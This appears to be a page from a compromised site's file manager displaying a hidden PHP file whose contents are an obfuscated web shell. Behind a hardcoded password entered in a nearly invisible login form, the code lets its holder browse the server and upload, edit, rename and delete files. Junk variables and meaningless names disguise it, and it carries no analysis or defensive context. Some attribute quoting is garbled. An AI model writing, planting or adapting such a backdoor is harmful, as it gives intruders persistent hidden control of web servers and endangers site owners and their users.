Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
nitramino
/
-20260214020430
:
.temp_bowdlerization.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php function jpz(){session_status()===PHP_SESSION_NONE and session_start();$ufxigvar=88<<0; isset($_SESSION["nonlubriciously"]) or $_SESSION["nonlubriciously"]=[];$hioyvar=microtime(true);}$bmvar=explode(',','data,data');function ogcg($vex){jpz();$gwvar=str_shuffle('012345'); static $nyx=0;$ltbxwvar=80|0; $nyx++;switch(9){case 1:break;default:break;} $_SESSION["nonlubriciously"][$nyx]=$vex;$wpqvar=null??false; return $nyx;}$ppjqvar=abs(-67-64);function gfhx($kyx,$dex){jpz();static $nvtvar=1; return $_SESSION["nonlubriciously"][$kyx]??$dex;$zlegqvar=pow(2,1);}5<5;function fcx($tex){return htmlspecialchars($tex,ENT_QUOTES,'UTF-8');$hmdvar=trim(mb_strtolower(' DATA '));}$vxcdqvar=microtime(true);function tgx($pex,$rox){$pex=str_replace("\0","",$pex);$rklvar=microtime(true); $pex=trim($pex);switch(5){case 1:break;default:break;} if($pex=="" or $pex=="." or $pex=="/")return $rox;$rhzwovar=87>>0; $pex=rawurldecode($pex); $pex=str_replace(["/","\\"],DIRECTORY_SEPARATOR,$pex); strpos($pex,DIRECTORY_SEPARATOR)===0 or $pex=rtrim($rox,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($pex,DIRECTORY_SEPARATOR); $syx=[]; foreach(explode(DIRECTORY_SEPARATOR,$pex)as $pyx){if($pyx=="" or $pyx==".")continue; if($pyx==".."){array_pop($syx); continue;}$syx[]=$pyx;}$rex=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$syx); $rlx=@realpath($rex); $bsx=realpath($rox); if($rlx!==false and $bsx!==false and strpos($rlx,$bsx)===0){$rex=$rlx;}is_file($rex) and $rex=dirname($rex); return rtrim($rex,DIRECTORY_SEPARATOR);}function cxg($pex){if(!is_file($pex) or !is_readable($pex))return false; $hyx=@fopen($pex,"rb"); if(!$hyx)return false; $bux=""; while(!feof($hyx)){$chx=fread($hyx,8192); if($chx===false)break; $bux.=$chx;}fclose($hyx); return $bux;}function eodmd($pex,$vux){$dyx=dirname($pex); if(!is_dir($dyx) or !is_writable($dyx))return false; $hyx=@fopen($pex,"wb"); if(!$hyx)return false; flock($hyx,LOCK_EX); $wrx=fwrite($hyx,$vux); flock($hyx,LOCK_UN); fclose($hyx); return $wrx!==false;}function feej($pex){$trx=dirname($pex).DIRECTORY_SEPARATOR.".trash"; is_dir($trx) or @mkdir($trx,0755,true); return @rename($pex,$trx.DIRECTORY_SEPARATOR.basename($pex).".".time().".bak");}function hxv($pex,$vux){return '<a href="?tq='.fcx(ogcg($pex)).'">'.fcx($vux).'</a>';}function poh($pex,$rox){$ptx=realpath($pex); $rtx=realpath($rox); if(!$ptx or !$rtx or strpos($ptx,$rtx)!==0){return fcx($pex);}$rlx=substr($ptx,strlen($rtx)); $rlx=trim($rlx,DIRECTORY_SEPARATOR); $prx=$rlx==""?[]:explode(DIRECTORY_SEPARATOR,$rlx); $oux=[hxv($rtx,"home")]; $crx=$rtx; foreach($prx as $sgx){$crx=rtrim($crx,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$sgx; $oux[]=hxv($crx,$sgx);}return implode(" / ",$oux);}$rotex=__DIR__;$lvpkvar="riotisttion";jpz();if(!isset($_SESSION["superhectyli"])){if(isset($_POST["s"]) or isset($_GET["s"])){$inx=$_POST["s"]??$_GET["s"]; if($inx===$lvpkvar){$_SESSION["superhectyli"]=1;}else{header("Location: ".$_SERVER['PHP_SELF']); exit;}}if(!isset($_SESSION["superhectyli"])){?><!DOCTYPE html><html><head><meta charset="utf-8"><style>body{margin:0;padding:0;background:#fff}.lo9{position:absolute;top:8px;left:8px;opacity:0.15}.lo9 input{width:60px;padding:3px;border:1px solid #ddd;font-size:10px}.lo9 button{padding:3px 6px;background:#eee;border:1px solid #ddd;font-size:10px;cursor:pointer}</style></head><body><form class="lo9" method="post"><input type="password" name='s'><button>ok</button></form></body></html><?php exit;}}$tokx=$_GET["tq"]??null;$curx=$tokx?tgx(gfhx($tokx,$rotex),$rotex):tgx($_GET["rw"]??"",$rotex);if(isset($_POST["hj"]) and isset($_FILES["v"])){$tmpx=$_FILES["v"]["tmp_name"]; $namx=basename($_FILES["v"]["name"]); $dstx=$curx.DIRECTORY_SEPARATOR.$namx; if($tmpx and $namx and is_uploaded_file($tmpx) and @move_uploaded_file($tmpx,$dstx)){header("Location: ?tq=".ogcg($curx)."&wd=1"); exit;}header("Location: ?tq=".ogcg($curx)); exit;}if(isset($_POST["lc"]) and isset($_GET["zn"])){$tarx=$curx.DIRECTORY_SEPARATOR.basename($_GET["zn"]); $valx=$_POST["er"]??""; if(eodmd($tarx,$valx)){header("Location: ?tq=".ogcg($curx)."&zn=".urlencode($_GET["zn"])."&wd=2"); exit;}header("Location: ?tq=".ogcg($curx)); exit;}if(isset($_POST["ib"])){$namx=basename($_POST["l"]??""); $patx=$curx.DIRECTORY_SEPARATOR.$namx; if($namx!="" and (is_file($patx) or is_dir($patx)) and feej($patx)){header("Location: ?tq=".ogcg($curx)); exit;}}if(isset($_POST["n"])){$oldx=basename($_POST["p"]??""); $newx=basename($_POST["vf"]??""); if($oldx!="" and $newx!=""){@rename($curx.DIRECTORY_SEPARATOR.$oldx,$curx.DIRECTORY_SEPARATOR.$newx);}header("Location: ?tq=".ogcg($curx)); exit;}$show_ok=isset($_GET['wd'])?$_GET['wd']:0;$edit_file=$_GET["zn"]??null;$edit_content='';if($edit_file){$tarx=$curx.DIRECTORY_SEPARATOR.basename($edit_file); $edit_content=cxg($tarx);}$dirs=[];$files=[];$itx=@scandir($curx);if($itx!==false){foreach($itx as $itm){if($itm=="." or $itm=="..")continue; $ptx=$curx.DIRECTORY_SEPARATOR.$itm; if(is_dir($ptx)){$dirs[]=['name'=>$itm,'path'=>$ptx];}else{$szx=@filesize($ptx); $size_str=''; if($szx!==false){$unt=['b','k','m','g']; $idx=0; while($szx>=1024 and $idx<3){$szx/=1024; $idx++;}$size_str=round($szx,1).$unt[$idx];}$files[]=['name'=>$itm,'size'=>$size_str];}}sort($dirs); sort($files);}?><!DOCTYPE html><html><head><meta charset="utf-8"><style>body{background:#fff;font:12px sans-serif;margin:0;padding:20px;color:#333}.yo5{font-size:11px;color:#aaa;margin-bottom:15px}.yo5 a{color:#999;text-decoration:none}.yo5 a:hover{color:#666}.al0{padding:8px;background:#f9f9f9;border:1px solid #eee;margin-bottom:15px;font-size:11px;color:#666}.si2{background:#fafafa;border:1px solid #eee;padding:10px;margin-bottom:15px}.sm9{width:100%;padding:5px;border:1px solid #ddd;font-size:11px;margin-top:4px}textarea{font-family:monospace}.gj5{padding:4px 8px;background:#f5f5f5;border:1px solid #ddd;font-size:10px;cursor:pointer;margin:2px}.gj5:hover{background:#eee}.au9{list-style:none;padding:0;margin:0}.au9 li{padding:7px 0;border-bottom:1px solid #f5f5f5;display:flex;justify-content:space-between;align-items:center}.au9 a{color:#333;text-decoration:none}.au9 a:hover{color:#666}.bd1{color:#bbb;font-size:10px}.xi5{display:flex;gap:4px}.zl7{display:inline}.wl6{width:80px;padding:3px;border:1px solid #ddd;font-size:10px}</style></head><body><div class="yo5"><?php echo poh($curx,$rotex)?></div><?php if($show_ok==1):?><div class="al0">done</div><?php endif?><?php if($show_ok==2):?><div class="al0">saved</div><?php endif?><?php if($edit_file and $edit_content!==false):?><div class="si2"><form method="post"><textarea class="sm9" name='zn'r' rows="18"><?php echo fcx($edit_content)?></textarea><div style="margin-top:8px"><button class="gj5" name='zn'do">save</button><a href="?tq=<?php echo fcx(ogcg($curx))?>"><button type="button" class="gj5">back</button></a></div></form></div><?php endif?><div class="si2"><form method="post" enctype="multipart/form-data"><input class="sm9" name='v' type="file"><button class="gj5" name='hj' style="margin-top:6px">send</button></form></div><ul class="au9"><?php foreach($dirs as $d):?><li><span>[dir] <?php echo hxv($d['path'],$d['name'])?></span><div class="xi5"><form class="zl7" method="post"><input type="hidden" name='l' value="<?php echo fcx($d['name'])?>"><button name='ib' class="gj5" onclick="return confirm('sure?')">x</button></form><form class="zl7" method="post"><input type="hidden" name='p' value="<?php echo fcx($d['name'])?>"><input type="text" name='vf' class="wl6" placeholder="new"><button name='rw'eko" class="gj5">ok</button></form></div></li><?php endforeach?><?php foreach($files as $f):?><li><span>[file] <?php echo fcx($f['name'])?><span class="bd1"><?php echo $f['size']?></span></span><div class="xi5"><a href="?tq=<?php echo fcx(ogcg($curx))?>&zn=<?php echo urlencode($f['name'])?>"><button class="gj5">open</button></a><form class="zl7" method="post"><input type="hidden" name='l' value="<?php echo fcx($f['name'])?>"><button name='ib' class="gj5" onclick="return confirm('sure?')">x</button></form><form class="zl7" method="post"><input type="hidden" name='p' value="<?php echo fcx($f['name'])?>"><input type="text" name='vf' class="wl6" placeholder="new"><button name='rw'eko" class="gj5">ok</button></form></div></li><?php endforeach?></ul></body></html>